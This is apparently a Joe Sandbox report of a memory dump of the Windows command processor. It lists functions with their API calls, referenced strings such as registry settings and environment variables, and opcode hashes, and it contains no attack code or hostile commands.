
Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: InfoLocale$DefaultLangUsersetlocale
String ID: .OCP$Fri$MM/dd/yy$Mon$Sat$Sun$Thu$Tue$Wed$dd/MM/yy$yy/MM/dd
API String ID: 2492766124-2236139042
Opcode ID: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
Instruction ID: c7bb275156862b23c00f844e8319e9f7dfb6336e53bdbdde5b5e18d0aa6e3428
Opcode Fuzzy Hash: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
Instruction Fuzzy Hash: 36F13069B08B4285EF218F21E5502B9A6A5BF44FA8F954136CA1DC77B4EF3CED05C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615504224 Relevance: 45.8, APIs: 19, Strings: 7, Instructions: 328
threadprocessstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF615504297
UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6155042D7
memset.MSVCRT ref: 00007FF6155042FD
memset.MSVCRT ref: 00007FF615504368
GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF615504380

Part of subcall function 00007FF615503A90: wcsrchr.MSVCRT ref: 00007FF615503ADF
Part of subcall function 00007FF615503A90: _wcsnicmp.MSVCRT ref: 00007FF615503B38

wcsrchr.MSVCRT ref: 00007FF6155043E6
lstrcmpW.KERNELBASE ref: 00007FF615504401
CreateProcessW.KERNELBASE ref: 00007FF61550447F
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF6155044AA
CreateProcessAsUserW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6155045EE
_local_unwind.MSVCRT ref: 00007FF615504644
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF6155047E1
DeleteProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF615504802
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61550ECD4
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61550ECF0
DeleteProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF61550ED12

Strings

\XCOPY.EXE, xrefs: 00007FF6155043F7
%08X, xrefs: 00007FF61550452C
=ExitCode, xrefs: 00007FF61550454C
%01C, xrefs: 00007FF6155047B1
=ExitCodeAscii, xrefs: 00007FF61550456B
COPYCMD, xrefs: 00007FF61550439C, 00007FF6155044B9
h, xrefs: 00007FF61550436D

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: AttributeProcThread$List$CloseCreateDeleteErrorHandleLastProcessmemsetwcsrchr$InfoInitializeStartupUpdateUser_local_unwind_wcsnicmplstrcmp
String ID: %01C$%08X$=ExitCode$=ExitCodeAscii$COPYCMD$\XCOPY.EXE$h
API String ID: 388421343-2905461000
Opcode ID: 535aaf602069f04d29d01d66ec7cc0283b4951f0e7199f2144b325fbc8c0e2e4
Instruction ID: 1a9eaf86f3c5d8b43d8a11a8c2a7fd20f13a8630c0f4ca2dabe52a99ab0d69b7
Opcode Fuzzy Hash: 535aaf602069f04d29d01d66ec7cc0283b4951f0e7199f2144b325fbc8c0e2e4
Instruction Fuzzy Hash: 85F11D3AA09E82C6EA60DB11E4507BAFBA4FB85FA4F454136D94DC2675DF3CE845CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615505554 Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 295
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.ADVAPI32(?,00000000,?,00000001,?,00007FF615504E35), ref: 00007FF6155055DA
RegQueryValueExW.ADVAPI32 ref: 00007FF615505623
RegQueryValueExW.ADVAPI32 ref: 00007FF615505667
RegQueryValueExW.ADVAPI32 ref: 00007FF6155056BE
RegQueryValueExW.ADVAPI32 ref: 00007FF615505702
RegQueryValueExW.ADVAPI32 ref: 00007FF615505759
RegQueryValueExW.ADVAPI32 ref: 00007FF6155057CF
RegQueryValueExW.ADVAPI32 ref: 00007FF615505862
RegCloseKey.ADVAPI32 ref: 00007FF61550587B
time.MSVCRT ref: 00007FF615505896
srand.MSVCRT ref: 00007FF6155058A5

Strings

CompletionChar, xrefs: 00007FF615505752
DelayedExpansion, xrefs: 00007FF6155056B7
EnableExtensions, xrefs: 00007FF615505660
PathCompletionChar, xrefs: 00007FF6155057C8
Software\Microsoft\Command Processor, xrefs: 00007FF6155055D3
DisableUNCCheck, xrefs: 00007FF615505614
AutoRun, xrefs: 00007FF61550585B
DefaultColor, xrefs: 00007FF6155056FB

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: QueryValue$CloseOpensrandtime
String ID: AutoRun$CompletionChar$DefaultColor$DelayedExpansion$DisableUNCCheck$EnableExtensions$PathCompletionChar$Software\Microsoft\Command Processor
API String ID: 145004033-3846321370
Opcode ID: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
Instruction ID: 62c83af0b90467dfc1e8ac8d8509e1bf25ec45b9c9a53301db2a69a8a7b1eae7
Opcode Fuzzy Hash: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
Instruction Fuzzy Hash: F6E1423A51DE82C6E7508B20E45057AF7A0FB89F69F445136EA8EC2A78DF7CD945CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155037D8 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 269
registrythreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF61550380B
OpenThread.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF615503821
HeapSetInformation.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF615503845
RegOpenKeyExW.ADVAPI32 ref: 00007FF615503875
GetConsoleOutputCP.KERNELBASE ref: 00007FF6155038BF
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF6155038DD
memset.MSVCRT ref: 00007FF615503909
_setjmp.MSVCRT ref: 00007FF615503952
GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF61550398B
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF6155039A2
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF61550EA1F
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF61550EA2F

Part of subcall function 00007FF615505920: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,00007FF61550B71F), ref: 00007FF615505997
Part of subcall function 00007FF615505920: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,00007FF61550B71F), ref: 00007FF6155059C5

GetThreadLocale.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF61550EA41

Strings

DisableCMD, xrefs: 00007FF61550EA18
Software\Policies\Microsoft\Windows\System, xrefs: 00007FF615503867

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: QueryThread$ConsoleInfoOpenOutputVirtual$CloseCurrentHeapInformationLocaleValue_setjmpmemset
String ID: DisableCMD$Software\Policies\Microsoft\Windows\System
API String ID: 2624720099-1920437939
Opcode ID: 07c46770a52c088c526de068ad2c2e0dd476b9e56bbee4b4c828f5b21f9523cf
Instruction ID: f1cd82317c1d7db7b1e7c49ee7722f8d8ff65aea2d878c84ddd909f436c24570
Opcode Fuzzy Hash: 07c46770a52c088c526de068ad2c2e0dd476b9e56bbee4b4c828f5b21f9523cf
Instruction Fuzzy Hash: B2C1CF39E08E428AFB549B3494511B9FAA0FF49F78F55413AD90EC6AB2DF3CAC458700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61550823C Relevance: 15.1, APIs: 10, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF615508280
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61550829D

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: 9fa4dae725f9512e7002593702cffe0a246d57342299abf5542ad382d0469498
Instruction ID: 871bbf5850d6fb1d2945bb06bfb6c2891c4c769ce2bb32b985d9b30e3f2c9531
Opcode Fuzzy Hash: 9fa4dae725f9512e7002593702cffe0a246d57342299abf5542ad382d0469498
Instruction Fuzzy Hash: 0B511D39A09F42C6E7408B11E454579FBA4FB8AFA5F499132CA5E83361DF3CE8548700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615502978 Relevance: 9.1, APIs: 6, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
Instruction ID: 66b32be509cca29c5df98f217fdb8c02f1cc421bec29cd09510101d816db37c8
Opcode Fuzzy Hash: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
Instruction Fuzzy Hash: 7D51D765B08A8285EA708F15E5442BAE690FB54FF8F954232DE6EC76F1DF3CE8458700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615504D5C Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 268
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615504D9A

Part of subcall function 00007FF6155058E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF61551C6DB), ref: 00007FF6155058EF

SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615504DBB
_get_osfhandle.MSVCRT ref: 00007FF615504DCA
GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615504DE0
_get_osfhandle.MSVCRT ref: 00007FF615504DEE
GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615504E04

Part of subcall function 00007FF615500580: _get_osfhandle.MSVCRT ref: 00007FF615500589
Part of subcall function 00007FF615500580: SetConsoleMode.KERNELBASE ref: 00007FF61550059E
Part of subcall function 00007FF615500580: _get_osfhandle.MSVCRT ref: 00007FF6155005AF
Part of subcall function 00007FF615500580: GetConsoleMode.KERNELBASE ref: 00007FF6155005C5
Part of subcall function 00007FF615500580: _get_osfhandle.MSVCRT ref: 00007FF6155005EF
Part of subcall function 00007FF615500580: GetConsoleMode.KERNELBASE ref: 00007FF615500605
Part of subcall function 00007FF615500580: _get_osfhandle.MSVCRT ref: 00007FF615500632
Part of subcall function 00007FF615500580: SetConsoleMode.KERNELBASE ref: 00007FF615500647

Part of subcall function 00007FF615504A14: GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF6155049F1), ref: 00007FF615504A28
Part of subcall function 00007FF615504A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6155049F1), ref: 00007FF615504A66
Part of subcall function 00007FF615504A14: RtlAllocateHeap.NTDLL(?,?,00000000,00007FF6155049F1), ref: 00007FF615504A7D
Part of subcall function 00007FF615504A14: memmove.MSVCRT(?,?,00000000,00007FF6155049F1), ref: 00007FF615504A9A
Part of subcall function 00007FF615504A14: RtlFreeHeap.NTDLL(?,?,00000000,00007FF6155049F1), ref: 00007FF615504AA2

Part of subcall function 00007FF615504AD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154F8798), ref: 00007FF615504AD6
Part of subcall function 00007FF615504AD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154F8798), ref: 00007FF615504AEF

Part of subcall function 00007FF615505554: RegOpenKeyExW.ADVAPI32(?,00000000,?,00000001,?,00007FF615504E35), ref: 00007FF6155055DA
Part of subcall function 00007FF615505554: RegQueryValueExW.ADVAPI32 ref: 00007FF615505623
Part of subcall function 00007FF615505554: RegQueryValueExW.ADVAPI32 ref: 00007FF615505667
Part of subcall function 00007FF615505554: RegQueryValueExW.ADVAPI32 ref: 00007FF6155056BE
Part of subcall function 00007FF615505554: RegQueryValueExW.ADVAPI32 ref: 00007FF615505702

GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615504E35
GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615504E81
GetWindowsDirectoryW.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615504F69
GetConsoleOutputCP.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615504F95
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615504FB0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615504FC1
RtlAllocateHeap.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615504FD8
GetConsoleTitleW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615504FF8
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615505037
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF61550504B
GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6155050DF
GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6155050F2
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF61550510F
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF615505130
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF61550514A
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF615505175

Part of subcall function 00007FF615503578: _get_osfhandle.MSVCRT ref: 00007FF615503584
Part of subcall function 00007FF615503578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF61550359C
Part of subcall function 00007FF615503578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035C3
Part of subcall function 00007FF615503578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035D9
Part of subcall function 00007FF615503578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035ED
Part of subcall function 00007FF615503578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF615503602

Strings

IsDebuggerPresent, xrefs: 00007FF615505122
SetConsoleInputExeNameW, xrefs: 00007FF615505143
CopyFileExW, xrefs: 00007FF615505108
KERNEL32.DLL, xrefs: 00007FF6155050EB

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Console$HeapMode_get_osfhandle$QueryValue$AddressHandleProcProcess$AllocateCommandCriticalFreeInfoLineLockSectionShared$AcquireAllocBufferCtrlDirectoryEnterEnvironmentFileGlobalHandlerInitializeModuleOpenOutputReleaseScreenStringsTitleTypeWindowsmemmove
String ID: CopyFileExW$IsDebuggerPresent$KERNEL32.DLL$SetConsoleInputExeNameW
API String ID: 2297636897-3021193919
Opcode ID: 536be2111ed0953f3dee75fce9ce1c38d128c8596e8c6e30d0a1bc8c68bb0d9c
Instruction ID: 97a781302d386e14fb73634bae7fd0adece471595a06d91dae2b6c71e2a04477
Opcode Fuzzy Hash: 536be2111ed0953f3dee75fce9ce1c38d128c8596e8c6e30d0a1bc8c68bb0d9c
Instruction Fuzzy Hash: 51C13E29A09E42D6EA049B21E8141B9FBA1FF89FB5F458135D94EC77B1EF3CAD458300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615503C24 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF615503D0C
towupper.MSVCRT ref: 00007FF615503D2F
iswalpha.MSVCRT ref: 00007FF615503D4F
towupper.MSVCRT ref: 00007FF615503D75
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615503DBF
GetFileAttributesW.KERNELBASE ref: 00007FF615503E7E
GetFileAttributesW.KERNELBASE ref: 00007FF615503EE9
SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF615503F32
_local_unwind.MSVCRT ref: 00007FF615504062
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF615504067
_local_unwind.MSVCRT ref: 00007FF615504098
_local_unwind.MSVCRT ref: 00007FF6155040B3
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6155040B8
_local_unwind.MSVCRT ref: 00007FF6155040DE
_local_unwind.MSVCRT ref: 00007FF6155040F9
_local_unwind.MSVCRT ref: 00007FF615504114

Strings

:, xrefs: 00007FF615503D89

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _local_unwind$AttributesCurrentDirectoryErrorFileLasttowupper$FullNamePathiswalphamemset
String ID: :
API String ID: 1809961153-336475711
Opcode ID: 08f7fbc338d514c2623eaeff65c67fab43d8a38d389f6037346b48594c1f00c7
Instruction ID: 2e84282b262a4cc8c3b14f6c53fe7c21deb96a8e5d18a7cf85c5629f69be6de6
Opcode Fuzzy Hash: 08f7fbc338d514c2623eaeff65c67fab43d8a38d389f6037346b48594c1f00c7
Instruction Fuzzy Hash: 64D15C2A60CF85D2EA209B15E4542BAF7A1FB85F64F454236DA4EC36B5EF3CE944C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615502394 Relevance: 26.5, APIs: 7, Strings: 8, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6155023F1

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

GetModuleFileNameW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF615502438

Part of subcall function 00007FF61550081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF61550084E

free.MSVCRT ref: 00007FF6155024DD
wcschr.MSVCRT ref: 00007FF61550E12A
_wcsupr.MSVCRT ref: 00007FF61550E146

Strings

COMSPEC, xrefs: 00007FF615502483, 00007FF61550E28B
PROMPT, xrefs: 00007FF61550246E, 00007FF61550251D
$P$G, xrefs: 00007FF615502516
PATHEXT, xrefs: 00007FF615502459, 00007FF61550E0FB
KEYS, xrefs: 00007FF615502498
\CMD.EXE, xrefs: 00007FF61550E22A
PATH, xrefs: 00007FF615502444, 00007FF61550E0E2
.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC, xrefs: 00007FF61550E0F4

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$EnvironmentFileModuleNameVariable_wcsuprfreewcschr
String ID: $P$G$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$KEYS$PATH$PATHEXT$PROMPT$\CMD.EXE
API String ID: 318233705-4197029667
Opcode ID: 3fac042061c3c259f4f053ca2a9c67aff2e597e23252bd33948ed1b3656da57f
Instruction ID: 2f775aeba4cc815e12ccbc6696c10ac7e7c31021b79f1fc58b5f315693c8ce8e
Opcode Fuzzy Hash: 3fac042061c3c259f4f053ca2a9c67aff2e597e23252bd33948ed1b3656da57f
